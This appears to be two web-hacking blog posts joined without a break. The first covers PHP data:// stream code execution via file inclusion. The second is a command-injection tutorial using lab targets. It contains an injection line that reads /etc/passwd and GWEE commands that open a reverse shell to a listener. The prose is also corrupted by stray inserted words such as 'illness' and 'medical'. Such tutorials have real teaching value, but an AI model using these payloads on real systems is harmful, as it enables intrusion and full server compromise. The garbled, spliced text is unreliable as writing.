This is a reasonably old remote code execution trick that I was actually unaware of until recently, illness when I stumbled across it by accident. I have been heavily researching various ways to go from a file inclusion bug to a remote code execution bug, and this one really got me interested.
As we previously mentioned in the I expect:// a shell post, medical you can use certain PHP streams to execute code via a file inclusion vulnerability. This one does not require any PHP extensions to be installed, unlike the expect:// trick, and relies solely on allow_url_include to be enabled, which sadly is becoming a rarity these days.
How this works is simple. PHP has a data:// stream, which can decode and accept data. If you insert some PHP code into this stream and include() it, the code will be executed. Rather simple, and rather effective too. I will cover php://input in a follow up post, and then post my findings on abusing FindFirstFile.
Essentially, instead of including /etc/passwd or a remote file, you simply include the following. data://text/plain;base64,PAYLOAD_GOES_HERE
Where the payload is base64 encoded PHP code to be executed. I choose to base64 encode the payload to avoid some problems I ran into with whitespace and longer payloads.
Now, obviously this would be no fun without a simple proof of concept tool to demonstrate the vulnerability. The following tool is under serious redevelopment at the moment, so it only spawns a bind shell at the moment. Next version will offer several payloads (I am working on a generic payload library for this kind of thing).
This is a short paper describing how to exploit basic command injection vulnerabilities in web applications. I am covering it as part of my attempt to cover the entire OWASP Top Ten series here, and hopefully you will find this paper informative.
So, what IS Command Injection?
Command injection is basically injection of operating system commands to be executed through a web-app. I had some trouble explaining it, so I will show the OWASP definition…
The purpose of the command injection attack is to inject and execute commands specified by the attacker in the vulnerable application. In situation like this, the application, which executes unwanted system commands, is like a pseudo system shell, and the attacker may use it as any authorized system user. However, commands are executed with the same privileges and environment as the application has. Command injection attacks are possible in most cases because of lack of correct input data validation, which can be manipulated by the attacker (forms, cookies, HTTP headers etc.).
There is a variant of the Code Injection attack. The difference with code injection is that the attacker adds his own code to the existing code. In this way, the attacker extends the default functionality of the application without the necessity of executing system commands. Injected code is executed with the same privileges and environment as the application has.
An OS command injection attack occurs when an attacker attempts to execute system level commands through a vulnerable application. Applications are considered vulnerable to the OS command injection attack if they utilize user input in a system level command.
So, what does all that mean?
Essentially, comman injection attacks can occur when a web application executes system commands – say – a webapp that runs nslookup queries for you. If the input that is passed tot he shell command is not correctly sanitized, an attacker can *inject* extra shell commands and have your application run them under the priviliges of the webapp – normally the privilages of the web-server.
Put simply, it means the attacker can execute commands on your box, leading to total system compromise. Yes, this is a very serious vulnerability.
Ok, so how does all this work?
I suppose the simplest way to explain is by a simple example. Below I wills how some example code, and how exactly we would go about exploiting it.
This piece of code accepts the GET parameter “host” and runs the nslookup command on it, giving you output regarding its IP address.
The important part is to see how the $host parameter (the GET parameter) is passed directly to the system() function without any filtering or sanitization of input.
Those of you familiar with the Unix command line will know we can “stack” commands by using a semicolon, like so…
nslookup google.com;cat /etc/passwd
Hence, you should realize that if we appended the semicolon followed by an arbritary OS command to the GET parameter, we will be able to execute our commands. Demo Time!
In this demo we simply run ls, and try read a couple of files. Then I decided to cat /dev/urandom (for fun) and had to end the demo as my drive started spinning like mad.
SO that is GET injection. You also said POST variables?
Indeed. Not only GET vars are vulnerable to this kind of attack, POST variables (for example, forms) are also vulnerable to these attacks.
Mutillidae has a fine example of POST command injection, so we will use that for the next demo. Basically the same deal – just a semicolon followed by your commands.
POST injection without visible forms…
Now sometimes we cannot see the POST var being sent, due to it being in a list. Please see the code below for an example…
Ok. So we have no DIRECT access to the POST param “host” via our browser, however we *know* it is vulnerable.
We know this as it passes the input from the POST var “host” directly to the system() function and therefore is vuln to the same attack methods as the GET injection we preformed earlier…
It is situations like these that we use BURP or a similar intercepting proxy to get a better look at whats going on. Simply we intercept our own traffic and we can modify it on the fly to see what is going on in there…
So… We can execute commands… What next?
Well, obviously the ability to execute commands is great, but we can take this a bit further. Getting a reverse shell, for example, would be awesome. And as it happens, we can do this.
There exists a tool called “GWEE”, which stands for “Generic Web Exploitation Engine”, written by some guys including our favourite narc, Sabu. It was released a couple of years ago, however it is an INCREDIBLY powerful tool and is VERY useful.
Now, GWEE operates by injecting reverse-shell shellcode and running it, giving one direct shell access. It has built in listener, etc.
GWEE usage: Owning a HTTP GET Injection
Ok. So we have our GET injection from earlier and want to get ourselves a reverse shell from it… We intend to use GWEE. Let’s run over what args to use…
The Command string we will be using…
gwee -G -y ‘?host=;’ -l localhost -p 4445 -L http://localhost/inclusiondemo/cmd1.php
So, what do all those mean?
The -G flag means “GET”, so we inject via GET request.
The -y ‘?host=;’ is the injectable parameter with the semicolon appended.
-l localhost means “Listener is localhost, send shell there”
-p 4445 means “Port to phone home to is port 4445″
-L means “use built in listener so I don’t have to start a netcat” (only for if you are listening on the same amchine as you are injecting from)
And the last thing there is the vulnerable URL…
Enough talking, ITS DEMO TIME
GWEE Usage: Owning a HTTP POST Injection
Now in this part we assume we know nothing about the app we are attacking except the vuln page, so it gives me an excuse to use Burp to find the vulnerable parameter to inject.
Now as for the GWEE injection commands, mostly the same except for 2 VITAL changes…
gwee -y ‘host=;’ -l localhost -p 4445 -L http://localhost/inclusiondemo/cmd2.php
Well, obviously the vuln URL is a bit different as it IS a different page we are attacking.
There is no -G flag. GWEE uses POST injections by default!
The -y ‘host=;’ arguements look the same at first glance, except the ? is gone. Why is this you ask? Because the ? is only there in GET injections and not in POST ones. This is just how POST/GET work, and if you had not known this you do now